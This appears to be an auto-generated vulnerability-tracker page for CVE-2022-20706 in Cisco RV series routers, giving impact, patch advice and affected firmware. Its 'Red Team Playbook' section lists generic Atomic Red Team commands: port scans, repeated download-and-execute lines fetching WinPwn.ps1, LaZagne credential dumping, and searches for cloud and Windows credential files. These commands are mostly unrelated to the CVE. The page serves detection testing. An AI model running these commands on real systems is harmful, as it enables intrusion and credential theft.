CVE-2022-20706
Overview
These vulnerabilities in Cisco Small Business RV Series Router firmware stem from multiple memory corruption issues, including stack-based buffer overflows and improper input validation. The affected components are the firmware modules handling network management and command execution interfaces, which fail to enforce bounds checking and authentication controls. This allows crafted network packets or requests to manipulate memory or bypass security checks within the router's operating system.
Vulnerability Description
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code Elevate privileges Execute arbitrary commands Bypass authentication and authorization protections Fetch and run unsigned software Cause denial of service (DoS) For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An unauthenticated attacker with network access can execute arbitrary code, elevate privileges, bypass authentication, and cause denial of service on affected routers. This enables full compromise of the device, including unauthorized command execution and firmware manipulation. Given the network attack vector (AV:N), low attack complexity (AC:L), and no required privileges or user interaction (PR:N/UI:N), these flaws present critical risks to network integrity and confidentiality, potentially disrupting business operations and enabling lateral movement within internal networks.
Solution
Cisco has released firmware updates addressing these vulnerabilities for the Small Business RV Series routers. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-smb-mult-vuln-KA9PK6D, which includes fixed firmware versions for RV160, RV260, RV340, and RV345 models. The advisory provides step-by-step upgrade instructions and recommends immediate deployment to mitigate exploitation risks. No alternative workarounds are specified; patching is the primary remediation method.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerabilities present in Cisco's Small Business RV series routers, including the RV160, RV260, RV340, and RV345 models, stem from flaws in their firmware that can be exploited to execute arbitrary code, elevate privileges, and bypass authentication mechanisms. These weaknesses arise from improper input validation and insufficient security controls, which can allow an attacker to gain unauthorized access to the device's functionalities. The ability to run unsigned software further exacerbates the risk, as it enables malicious actors to introduce harmful applications that can compromise the integrity of the network. Additionally, the potential for denial of service attacks can disrupt business operations, making these vulnerabilities particularly concerning for organizations relying on these devices for their networking needs.
Attack vectors for exploiting these vulnerabilities are varied and can be executed remotely, making them particularly dangerous. An attacker could leverage techniques such as sending specially crafted packets to the router, which may trigger the execution of arbitrary commands or code. This can be done without physical access to the device, allowing for remote exploitation. Scenarios may include an attacker gaining control over the router to intercept sensitive data, redirect traffic, or launch further attacks against internal systems. The ability to bypass authentication means that even users without legitimate credentials could potentially exploit these vulnerabilities, increasing the likelihood of a successful attack.
The real-world impact of these vulnerabilities can be severe, particularly for small to medium-sized businesses that may not have extensive cybersecurity measures in place. Compromised routers can lead to unauthorized access to sensitive data, financial losses, and damage to reputation. For instance, if an attacker gains control of a router, they could manipulate network traffic, leading to data breaches or service interruptions. Furthermore, the potential for denial of service attacks could result in significant downtime, affecting business operations and customer trust. The financial implications of such incidents can be substantial, encompassing both immediate losses and long-term damage to brand reputation.
To detect and mitigate these vulnerabilities, organizations should implement a multi-layered security approach. Regularly updating the firmware of affected routers is crucial, as manufacturers often release patches to address known vulnerabilities. Network monitoring tools can help identify unusual traffic patterns or unauthorized access attempts, enabling quicker responses to potential threats. Additionally, employing strong authentication measures, such as multi-factor authentication, can reduce the risk of unauthorized access. Organizations should also consider segmenting their networks to limit the potential impact of a compromised device, ensuring that sensitive systems are isolated from less secure environments.
In conclusion, the vulnerabilities in Cisco's Small Business RV series routers present significant risks that require immediate attention from affected organizations. By understanding the technical details, potential attack vectors, and real-world implications, businesses can better prepare themselves to defend against these threats. Implementing robust detection and mitigation strategies will not only help in addressing current vulnerabilities but also in strengthening overall cybersecurity posture against future threats.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Rv340 Firmware | All |
cpe:2.3:o:cisco:rv340_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv340w Firmware | All |
cpe:2.3:o:cisco:rv340w_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv345 Firmware | All |
cpe:2.3:o:cisco:rv345_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv345p Firmware | All |
cpe:2.3:o:cisco:rv345p_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv160 Firmware | All |
cpe:2.3:o:cisco:rv160_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv160w Firmware | All |
cpe:2.3:o:cisco:rv160w_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv260 Firmware | All |
cpe:2.3:o:cisco:rv260_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv260p Firmware | All |
cpe:2.3:o:cisco:rv260p_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv260w Firmware | All |
cpe:2.3:o:cisco:rv260w_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-20706 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-smb-mult-vuln-KA9PK6D |
| zerodayinitiative.com |
GitHub CVE
x_refsource_MISC
|
https://www.zerodayinitiative.com/advisories/ZDI-22-418/ |